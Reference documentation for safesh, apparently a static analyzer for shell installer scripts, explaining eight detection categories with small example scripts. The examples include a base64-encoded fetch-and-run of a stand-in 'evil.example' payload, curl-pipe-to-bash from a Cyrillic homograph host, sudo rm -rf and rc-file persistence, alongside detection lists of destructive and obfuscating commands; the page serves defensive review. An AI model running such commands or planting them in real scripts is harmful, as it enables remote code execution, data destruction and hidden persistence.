checks reference

Every check, in detail

safesh ships eight static-analysis modules. This page documents each one: what it looks for, why it matters, why it carries the severity it does, and a small example of code that would trip it.

critical Hides intent from review or destroys data on contact. Treat as block-by-default until you've audited the snippet.
warning Common, often legitimate, but powerful enough to deserve a deliberate "yes" before running.
info Surfaces information you should see — not inherently dangerous, but worth knowing about.

Categories

execution-integrity

warning

The script omits one or more strict-mode flags, so failures may be silently ignored.

What it looks for

  • A missing set -e at the top level of the script
  • A missing set -u at the top level of the script
  • A missing set -o pipefail at the top level of the script

Only set calls in the script's top-level body count. Flags inside functions, if branches, loops, or subshells don't apply to the whole script and won't satisfy the check.

Why it matters

Without set -e a failed command (a missing dependency, a network blip, a typo in a path) doesn't stop the script — later commands keep running on top of broken state. Without set -u an unset variable expands to an empty string, so rm -rf "$PREFIX/$DIR" can become rm -rf /. Without pipefail a failure in any non-final pipeline stage is hidden by the success of the last one.

Why this severity

Warning — not critical — because safesh injects set -euo pipefail as a preamble before execution regardless of whether the script set them itself. The finding tells you the author wasn't being careful; safesh enforces the floor anyway.

A common shape that trips this check

#!/usr/bin/env bash
# no `set -euo pipefail` here — install proceeds even if a step fails

curl -fsSL https://example.com/binary -o /usr/local/bin/tool
chmod +x /usr/local/bin/tool   # runs even if curl failed

destructive

critical

The script invokes a command that can irreversibly remove or overwrite data.

What it looks for

  • rm with any recursive or force flag: -r, -f, -rf, -fr, -Rf, -fR
  • Any invocation of dd
  • Any invocation of mkfs or mkfs.* (e.g. mkfs.ext4)
  • Any invocation of shred
  • truncate with -s 0, --size=0, or --size 0

Privilege wrappers (sudo, doas, pkexec, runuser) are peeled off before the inner command is checked, so sudo rm -rf /opt/foo is flagged just like rm -rf /opt/foo.

Why it matters

These commands have no undo. Combined with an unset variable or a path the author didn't expect, a single line can wipe a home directory, blank a disk, or zero a partition. Many production-incident postmortems trace back to exactly one of these calls running with the wrong argument.

Why this severity

Critical — the blast radius is total and irreversible. An installer almost never legitimately needs to run dd or mkfs; rm -rf on a known sub-path is sometimes legitimate ("clean before reinstall") but always deserves a deliberate look.

A "clean before install" pattern that trips this check

#!/usr/bin/env bash
set -euo pipefail

INSTALL_DIR="\${PREFIX:-}/myapp"   # PREFIX may be unset → "/myapp" or worse
sudo rm -rf "\$INSTALL_DIR"      # flagged: rm -rf, even through sudo

privilege

warning

The script asks for elevated privileges to run one or more commands.

What it looks for

  • Direct invocations of sudo, su, pkexec, doas, or runuser

The check fires once per call site so you can see, by line number, exactly where the script crosses the user / root boundary.

Why it matters

Once a command runs as root, every other safety net you have — file permissions, per-user PATH, sandbox profiles tied to your UID — stops applying. A typo, a stale variable, or an unexpected branch in the script can now affect the whole machine. Equally important: you need to know in advance, so you can decide whether to enter your password.

Why this severity

Warning — installers legitimately use sudo to drop binaries into /usr/local/bin or write a launchd / systemd unit. The point isn't to block it; the point is to make sure the prompt for your password isn't the first time you learn this script wants root.

Typical installer asking for root

#!/usr/bin/env bash
set -euo pipefail

sudo install -m 0755 ./tool /usr/local/bin/tool
sudo chown root:root /usr/local/bin/tool

persistence

warning

The script makes a change that outlives the install — across new shells, logins, or reboots.

What it looks for

  • Redirects (>, >>) into shell rc files: .bashrc, .zshrc, .bash_profile, .zprofile, .profile, .bash_login, .zlogin, .config/fish/config.fish
  • Redirects into system-wide profile files: /etc/profile, /etc/profile.d/, /etc/environment, /etc/bash.bashrc, /etc/zsh/
  • Redirects into cron paths: crontab, /etc/cron…, /var/spool/cron
  • Redirects into systemd unit paths: .config/systemd, /etc/systemd
  • Redirects into X-session autostart paths: .xinitrc, .xprofile, .config/autostart
  • Direct invocations of crontab
  • Calls to systemctl enable …

Why it matters

A script that finishes successfully and exits is bounded in time. A script that adds a line to your ~/.bashrc, drops a launch agent, or enables a systemd service keeps running — every shell you open, every time you log in, every time you boot. That is exactly the foothold an attacker wants and exactly the side-effect a careless installer leaves behind.

Why this severity

Warning — most language version managers and shell tools legitimately add a line to your rc file. The category exists so you notice which file is being modified and what is being added before it's a permanent part of every session.

An rc-file append — common, but worth seeing first

#!/usr/bin/env bash
set -euo pipefail

echo 'export PATH="\$HOME/.tool/bin:\$PATH"' >> "\$HOME/.bashrc"
systemctl --user enable tool-agent.service

network

info

The script reaches out to the network — every destination it contacts is listed.

What it looks for

  • Invocations of curl, wget, fetch, http, or httpie
  • For each call, the resolved http:// / https:// hostname(s) are extracted and reported alongside the line
  • Calls whose URL is a variable or a command substitution are flagged with "destination unresolvable — uses dynamic URL"

Why it matters

You're already running a downloader script. The interesting question is: what else will it download? A script that pulls a binary from a vendor's CDN looks very different from one that pulls a payload from a host you've never heard of, or constructs the URL at runtime so a reviewer can't see the destination.

Why this severity

Info — fetching a binary is the literal point of most installers. The signal is in where it goes. Use this category to spot suspicious or dynamic destinations, not to flag the practice itself.

A static fetch and a dynamic one — both surfaced

#!/usr/bin/env bash
set -euo pipefail

curl -fsSL https://releases.example.com/v2.1.0/tool -o tool

STAGE2_URL="\$(printf 'https://%s/payload' "\$REMOTE_HOST")"
curl -fsSL "\$STAGE2_URL" -o stage2   # destination unresolvable

obfuscation

critical

The script hides what it actually executes — what you read isn't what runs.

What it looks for

  • Direct calls to eval
  • Calls to base64 with -d, --decode, or -D
  • The pipe pattern base64 ... | bash (or sh, zsh, dash, fish, ksh, mksh) — base64-decoded content piped directly into a shell

Why it matters

Static analysis — and human review — works on the source you can see. eval and base64 -d | bash defeat both: the actual instructions are constructed at runtime, are not legible in the file, and are deliberately illegible to any tool looking for risky idioms. There is no benign reason to ship an installer this way.

Why this severity

Critical — obfuscation is intentional concealment of intent. Even when the encoded payload is innocuous, the choice to hide it from review is itself a red flag. This is one of the few categories where the right default is "stop and read the encoded blob before continuing."

The textbook hide-the-payload pattern

#!/usr/bin/env bash
set -euo pipefail

echo 'Y3VybCAtZnNTTCBodHRwczovL2V2aWwuZXhhbXBsZS9wYXlsb2FkIHwgYmFzaA==' \
  | base64 -d | bash   # flagged: base64 → shell

execution-chain

critical

The script is itself a curl-pipe-to-shell — recursing the very pattern you're guarding against.

What it looks for

  • Any pipeline (|) whose right-hand command is a known shell: bash, sh, zsh, dash, fish, ksh, or mksh
  • The left-hand command is reported alongside (typically curl, wget, or similar) so the full pipe-to-shell shape is visible

Why it matters

You ran the outer script through safesh because piping arbitrary remote code into a shell is risky. A script that internally does the same thing — fetches more code from another URL and pipes it into bash — escapes safesh's view entirely. The second-stage script is never buffered, never analyzed, never confirmed.

Why this severity

Critical — by design, this pattern routes around every safety property of the outer run. If you'd say no to curl ... | bash at the prompt, you should say no to a script that does it for you.

A nested pipe that bypasses safesh's protections

#!/usr/bin/env bash
set -euo pipefail

# Outer script was buffered and analyzed; this stage is not.
curl -fsSL https://example.com/stage2.sh | bash

homograph

critical

The script contains Unicode that can make rendered text differ from executed text.

What it looks for

  • Bidirectional formatting controls anywhere in the source: LRE, RLE, PDF, LRO, RLO, LRI, RLI, FSI, PDI (U+202A–U+202E, U+2066–U+2069)
  • Zero-width / invisible characters: ZWSP, ZWNJ, ZWJ, WJ, BOM (U+200B–U+200D, U+2060, U+FEFF)
  • URL hostnames containing any non-ASCII character (potential IDN homograph)
  • URL hostnames where a single label mixes scripts — e.g. Latin and Cyrillic in the same word ("раypal.com")

Why it matters

A bidi override character can flip the apparent order of subsequent text in a code editor or terminal so that a line reading curl https://good.example | bash actually executes curl https://evil.example | bash — the bytes don't lie, but the rendering does. Zero-width characters can splice identifiers (cu<ZWJ>rl) to fool naive grep-based review. IDN homograph attacks substitute Cyrillic а for Latin a in a domain so a familiar-looking URL points somewhere else entirely.

Why this severity

Critical — these techniques exist for one reason: to make malicious code look benign to a human reviewer. Pure-ASCII installer scripts are the norm; any deviation deserves to be looked at carefully.

An IDN homograph hiding behind a familiar-looking host

#!/usr/bin/env bash
set -euo pipefail

# 'раypal.com' below uses Cyrillic 'р' and 'а' — not the Latin letters.
# The host renders as 'paypal.com' but resolves to a different domain.
curl -fsSL https://раypal.com/checkout.sh | bash
Unsuspicious is not safe. A script with zero findings is one safesh couldn't find anything wrong with — not one that's guaranteed harmless. A determined author can write malicious code that passes every check on this page. These categories are a floor, not a ceiling.

For the wider framing — what safesh is, what it isn't, and the limitations it accepts — see position. To run any check explanation from your terminal, use safesh --explain <category>.